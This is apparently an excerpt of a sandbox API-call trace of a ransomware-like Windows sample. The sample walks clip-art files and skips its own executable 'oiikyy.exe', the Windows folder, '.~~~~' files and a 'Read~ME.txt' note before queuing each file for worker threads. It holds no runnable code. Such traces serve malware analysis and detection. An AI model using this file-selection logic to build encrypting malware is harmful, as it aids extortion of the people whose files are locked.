	[0082.752] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0082.752] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="Windows") returned -1
	[0082.752] lstrcmpW (lpString1="AG00004_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.753] StrStrW (lpFirst="AG00004_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.753] lstrcmpW (lpString1="AG00004_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.753] GetCurrentThreadId () returned 0x618
	[0082.753] RtlWakeConditionVariable () returned 0x365f48
	[0082.753] lstrcmpiW (lpString1="AG00011_.GIF", lpString2="Windows") returned -1
	[0082.753] lstrcmpW (lpString1="AG00011_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.753] StrStrW (lpFirst="AG00011_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.753] lstrcmpW (lpString1="AG00011_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.753] GetCurrentThreadId () returned 0x618
	[0082.753] RtlWakeConditionVariable () returned 0x365f48
	[0082.753] lstrcmpiW (lpString1="AG00021_.GIF", lpString2="Windows") returned -1
	[0082.753] lstrcmpW (lpString1="AG00021_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.753] StrStrW (lpFirst="AG00021_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.753] lstrcmpW (lpString1="AG00021_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.753] GetCurrentThreadId () returned 0x618
	[0082.753] RtlWakeConditionVariable () returned 0x365f48
	[0082.753] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="Windows") returned -1
	[0082.753] lstrcmpW (lpString1="AG00037_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.753] StrStrW (lpFirst="AG00037_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.754] lstrcmpW (lpString1="AG00037_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.754] GetCurrentThreadId () returned 0x618
	[0082.754] RtlWakeConditionVariable () returned 0x365f48
	[0082.754] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="Windows") returned -1
	[0082.754] lstrcmpW (lpString1="AG00038_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.754] StrStrW (lpFirst="AG00038_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.754] lstrcmpW (lpString1="AG00038_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.754] GetCurrentThreadId () returned 0x618
	[0082.754] RtlWakeConditionVariable () returned 0x365f48
	[0082.754] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="Windows") returned -1
	[0082.754] lstrcmpW (lpString1="AG00040_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.754] StrStrW (lpFirst="AG00040_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.754] lstrcmpW (lpString1="AG00040_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.754] GetCurrentThreadId () returned 0x618
	[0082.754] RtlWakeConditionVariable () returned 0x365f48
	[0082.754] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="Windows") returned -1
	[0082.754] lstrcmpW (lpString1="AG00052_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.754] StrStrW (lpFirst="AG00052_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.754] lstrcmpW (lpString1="AG00052_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.754] GetCurrentThreadId () returned 0x618
	[0082.754] RtlWakeConditionVariable () returned 0x365f48
	[0082.755] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="Windows") returned -1
	[0082.755] lstrcmpW (lpString1="AG00057_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.755] StrStrW (lpFirst="AG00057_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.755] lstrcmpW (lpString1="AG00057_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.755] GetCurrentThreadId () returned 0x618
	[0082.755] RtlWakeConditionVariable () returned 0x365f48
	[0082.755] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="Windows") returned -1
	[0082.755] lstrcmpW (lpString1="AG00090_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.755] StrStrW (lpFirst="AG00090_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.755] lstrcmpW (lpString1="AG00090_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.755] GetCurrentThreadId () returned 0x618
	[0082.755] RtlWakeConditionVariable () returned 0x365f48
	[0082.755] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="Windows") returned -1
	[0082.755] lstrcmpW (lpString1="AG00092_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.755] StrStrW (lpFirst="AG00092_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.755] lstrcmpW (lpString1="AG00092_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.755] GetCurrentThreadId () returned 0x618
	[0082.755] RtlWakeConditionVariable () returned 0x365f48
	[0082.755] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="Windows") returned -1
	[0082.755] lstrcmpW (lpString1="AG00103_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.756] StrStrW (lpFirst="AG00103_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.756] lstrcmpW (lpString1="AG00103_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.756] GetCurrentThreadId () returned 0x618
	[0082.756] RtlWakeConditionVariable () returned 0x365f48
	[0082.756] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="Windows") returned -1
	[0082.756] lstrcmpW (lpString1="AG00120_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.756] StrStrW (lpFirst="AG00120_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.756] lstrcmpW (lpString1="AG00120_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.756] GetCurrentThreadId () returned 0x618
	[0082.756] RtlWakeConditionVariable () returned 0x365f48
	[0082.756] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="Windows") returned -1
	[0082.756] lstrcmpW (lpString1="AG00126_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.756] StrStrW (lpFirst="AG00126_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.756] lstrcmpW (lpString1="AG00126_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.756] GetCurrentThreadId () returned 0x618
	[0082.756] RtlWakeConditionVariable () returned 0x365f48
	[0082.756] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="Windows") returned -1
	[0082.756] lstrcmpW (lpString1="AG00129_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.756] StrStrW (lpFirst="AG00129_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.756] lstrcmpW (lpString1="AG00129_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.756] GetCurrentThreadId () returned 0x618
	[0082.757] RtlWakeConditionVariable () returned 0x365f48
	[0082.757] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="Windows") returned -1
	[0082.757] lstrcmpW (lpString1="AG00130_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.757] StrStrW (lpFirst="AG00130_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.757] lstrcmpW (lpString1="AG00130_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.757] GetCurrentThreadId () returned 0x618
	[0082.757] RtlWakeConditionVariable () returned 0x365f48
	[0082.757] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="Windows") returned -1
	[0082.757] lstrcmpW (lpString1="AG00135_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.757] StrStrW (lpFirst="AG00135_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.757] lstrcmpW (lpString1="AG00135_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.757] GetCurrentThreadId () returned 0x618
	[0082.757] RtlWakeConditionVariable () returned 0x365f48
	[0082.757] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="Windows") returned -1
	[0082.757] lstrcmpW (lpString1="AG00139_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.757] StrStrW (lpFirst="AG00139_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.757] lstrcmpW (lpString1="AG00139_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.757] GetCurrentThreadId () returned 0x618
	[0082.757] RtlWakeConditionVariable () returned 0x365f48
	[0082.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="Windows") returned -1
	[0082.758] lstrcmpW (lpString1="AG00142_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.758] StrStrW (lpFirst="AG00142_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.758] lstrcmpW (lpString1="AG00142_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.758] GetCurrentThreadId () returned 0x618
	[0082.758] RtlWakeConditionVariable () returned 0x365f48
	[0082.758] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="Windows") returned -1
	[0082.758] lstrcmpW (lpString1="AG00154_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.758] StrStrW (lpFirst="AG00154_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.758] lstrcmpW (lpString1="AG00154_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.758] GetCurrentThreadId () returned 0x618
	[0082.758] RtlWakeConditionVariable () returned 0x365f48
	[0082.758] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="Windows") returned -1
	[0082.758] lstrcmpW (lpString1="AG00157_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.758] StrStrW (lpFirst="AG00157_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.758] lstrcmpW (lpString1="AG00157_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.758] GetCurrentThreadId () returned 0x618
	[0082.758] RtlWakeConditionVariable () returned 0x365f48
	[0082.758] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="Windows") returned -1
	[0082.758] lstrcmpW (lpString1="AG00158_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.758] StrStrW (lpFirst="AG00158_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.758] lstrcmpW (lpString1="AG00158_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.759] GetCurrentThreadId () returned 0x618
	[0082.759] RtlWakeConditionVariable () returned 0x365f48
	[0082.759] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="Windows") returned -1
	[0082.759] lstrcmpW (lpString1="AG00160_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.759] StrStrW (lpFirst="AG00160_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.759] lstrcmpW (lpString1="AG00160_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.759] GetCurrentThreadId () returned 0x618
	[0082.759] RtlWakeConditionVariable () returned 0x365f48
	[0082.759] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="Windows") returned -1
	[0082.759] lstrcmpW (lpString1="AG00161_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.759] StrStrW (lpFirst="AG00161_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.759] lstrcmpW (lpString1="AG00161_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.759] GetCurrentThreadId () returned 0x618
	[0082.759] RtlWakeConditionVariable () returned 0x365f48
	[0082.759] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="Windows") returned -1
	[0082.759] lstrcmpW (lpString1="AG00163_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.759] StrStrW (lpFirst="AG00163_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.759] lstrcmpW (lpString1="AG00163_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.759] GetCurrentThreadId () returned 0x618
	[0082.759] RtlWakeConditionVariable () returned 0x365f48
	[0082.760] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="Windows") returned -1
	[0082.760] lstrcmpW (lpString1="AG00164_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.760] StrStrW (lpFirst="AG00164_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.760] lstrcmpW (lpString1="AG00164_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.760] GetCurrentThreadId () returned 0x618
	[0082.760] RtlWakeConditionVariable () returned 0x365f48
	[0082.760] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="Windows") returned -1
	[0082.760] lstrcmpW (lpString1="AG00165_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.760] StrStrW (lpFirst="AG00165_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.760] lstrcmpW (lpString1="AG00165_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.760] GetCurrentThreadId () returned 0x618
	[0082.760] RtlWakeConditionVariable () returned 0x365f48
	[0082.760] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="Windows") returned -1
	[0082.760] lstrcmpW (lpString1="AG00167_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.760] StrStrW (lpFirst="AG00167_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.760] lstrcmpW (lpString1="AG00167_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.760] GetCurrentThreadId () returned 0x618
	[0082.760] RtlWakeConditionVariable () returned 0x365f48
	[0082.760] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="Windows") returned -1
	[0082.760] lstrcmpW (lpString1="AG00169_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.760] StrStrW (lpFirst="AG00169_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.760] lstrcmpW (lpString1="AG00169_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.761] GetCurrentThreadId () returned 0x618
	[0082.761] RtlWakeConditionVariable () returned 0x365f48
	[0082.761] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="Windows") returned -1
	[0082.761] lstrcmpW (lpString1="AG00170_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.761] StrStrW (lpFirst="AG00170_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.761] lstrcmpW (lpString1="AG00170_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.761] GetCurrentThreadId () returned 0x618
	[0082.761] RtlWakeConditionVariable () returned 0x365f48
	[0082.761] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="Windows") returned -1
	[0082.761] lstrcmpW (lpString1="AG00171_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.761] StrStrW (lpFirst="AG00171_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.761] lstrcmpW (lpString1="AG00171_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.761] GetCurrentThreadId () returned 0x618
	[0082.761] RtlWakeConditionVariable () returned 0x365f48
	[0082.761] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="Windows") returned -1
	[0082.761] lstrcmpW (lpString1="AG00172_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.761] StrStrW (lpFirst="AG00172_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.761] lstrcmpW (lpString1="AG00172_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.761] GetCurrentThreadId () returned 0x618
	[0082.761] RtlWakeConditionVariable () returned 0x365f48
	[0082.762] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="Windows") returned -1
	[0082.762] lstrcmpW (lpString1="AG00174_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.762] StrStrW (lpFirst="AG00174_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.762] lstrcmpW (lpString1="AG00174_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.762] GetCurrentThreadId () returned 0x618
	[0082.762] RtlWakeConditionVariable () returned 0x365f48
	[0082.762] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="Windows") returned -1
	[0082.762] lstrcmpW (lpString1="AG00175_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.762] StrStrW (lpFirst="AG00175_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.762] lstrcmpW (lpString1="AG00175_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.762] GetCurrentThreadId () returned 0x618
	[0082.762] RtlWakeConditionVariable () returned 0x365f48
	[0082.795] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="Windows") returned -1
	[0082.795] lstrcmpW (lpString1="AG00176_.GIF", lpString2="oiikyy.exe") returned -1
	[0082.795] StrStrW (lpFirst="AG00176_.GIF", lpSrch=".~~~~") returned 0x0
	[0082.795] lstrcmpW (lpString1="AG00176_.GIF", lpString2="Read~ME.txt") returned -1
	[0082.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.795] GetCurrentThreadId () returned 0x618
	[0082.808] RtlWakeConditionVariable () returned 0x365f48
	[0082.808] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="Windows") returned -1
	[0082.808] lstrcmpW (lpString1="AN00010_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.808] StrStrW (lpFirst="AN00010_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.808] lstrcmpW (lpString1="AN00010_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.808] GetCurrentThreadId () returned 0x618
	[0082.809] RtlWakeConditionVariable () returned 0x365f48
	[0082.809] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="Windows") returned -1
	[0082.809] lstrcmpW (lpString1="AN00015_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.809] StrStrW (lpFirst="AN00015_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.809] lstrcmpW (lpString1="AN00015_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.809] GetCurrentThreadId () returned 0x618
	[0082.809] RtlWakeConditionVariable () returned 0x365f48
	[0082.809] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="Windows") returned -1
	[0082.809] lstrcmpW (lpString1="AN00790_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.809] StrStrW (lpFirst="AN00790_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.809] lstrcmpW (lpString1="AN00790_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.809] GetCurrentThreadId () returned 0x618
	[0082.809] RtlWakeConditionVariable () returned 0x365f48
	[0082.809] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="Windows") returned -1
	[0082.809] lstrcmpW (lpString1="AN00853_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.809] StrStrW (lpFirst="AN00853_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.809] lstrcmpW (lpString1="AN00853_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.809] GetCurrentThreadId () returned 0x618
	[0082.809] RtlWakeConditionVariable () returned 0x365f48
	[0082.810] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="Windows") returned -1
	[0082.810] lstrcmpW (lpString1="AN00914_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.810] StrStrW (lpFirst="AN00914_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.810] lstrcmpW (lpString1="AN00914_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.810] GetCurrentThreadId () returned 0x618
	[0082.810] RtlWakeConditionVariable () returned 0x365f48
	[0082.810] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="Windows") returned -1
	[0082.810] lstrcmpW (lpString1="AN00932_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.810] StrStrW (lpFirst="AN00932_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.810] lstrcmpW (lpString1="AN00932_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.810] GetCurrentThreadId () returned 0x618
	[0082.810] RtlWakeConditionVariable () returned 0x365f48
	[0082.810] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="Windows") returned -1
	[0082.810] lstrcmpW (lpString1="AN00965_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.810] StrStrW (lpFirst="AN00965_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.810] lstrcmpW (lpString1="AN00965_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.810] GetCurrentThreadId () returned 0x618
	[0082.810] RtlWakeConditionVariable () returned 0x365f48
	[0082.810] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="Windows") returned -1
	[0082.810] lstrcmpW (lpString1="AN01039_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.810] StrStrW (lpFirst="AN01039_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.810] lstrcmpW (lpString1="AN01039_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.811] GetCurrentThreadId () returned 0x618
	[0082.811] RtlWakeConditionVariable () returned 0x365f48
	[0082.811] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="Windows") returned -1
	[0082.811] lstrcmpW (lpString1="AN01044_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.811] StrStrW (lpFirst="AN01044_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.811] lstrcmpW (lpString1="AN01044_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.811] GetCurrentThreadId () returned 0x618
	[0082.811] RtlWakeConditionVariable () returned 0x365f48
	[0082.811] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="Windows") returned -1
	[0082.811] lstrcmpW (lpString1="AN01060_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.811] StrStrW (lpFirst="AN01060_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.811] lstrcmpW (lpString1="AN01060_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.811] GetCurrentThreadId () returned 0x618
	[0082.811] RtlWakeConditionVariable () returned 0x365f48
	[0082.811] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="Windows") returned -1
	[0082.811] lstrcmpW (lpString1="AN01084_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.811] StrStrW (lpFirst="AN01084_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.811] lstrcmpW (lpString1="AN01084_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.811] GetCurrentThreadId () returned 0x618
	[0082.812] RtlWakeConditionVariable () returned 0x365f48
	[0082.812] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="Windows") returned -1
	[0082.812] lstrcmpW (lpString1="AN01173_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.812] StrStrW (lpFirst="AN01173_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.812] lstrcmpW (lpString1="AN01173_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.812] GetCurrentThreadId () returned 0x618
	[0082.812] RtlWakeConditionVariable () returned 0x365f48
	[0082.812] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="Windows") returned -1
	[0082.812] lstrcmpW (lpString1="AN01174_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.812] StrStrW (lpFirst="AN01174_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.812] lstrcmpW (lpString1="AN01174_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.812] GetCurrentThreadId () returned 0x618
	[0082.812] RtlWakeConditionVariable () returned 0x365f48
	[0082.812] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="Windows") returned -1
	[0082.812] lstrcmpW (lpString1="AN01184_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.812] StrStrW (lpFirst="AN01184_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.812] lstrcmpW (lpString1="AN01184_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.812] GetCurrentThreadId () returned 0x618
	[0082.813] RtlWakeConditionVariable () returned 0x365f48
	[0082.813] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="Windows") returned -1
	[0082.813] lstrcmpW (lpString1="AN01216_.WMF", lpString2="oiikyy.exe") returned -1
	[0082.813] StrStrW (lpFirst="AN01216_.WMF", lpSrch=".~~~~") returned 0x0
	[0082.813] lstrcmpW (lpString1="AN01216_.WMF", lpString2="Read~ME.txt") returned -1
	[0082.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.813] GetCurrentThreadId () returned 0x618
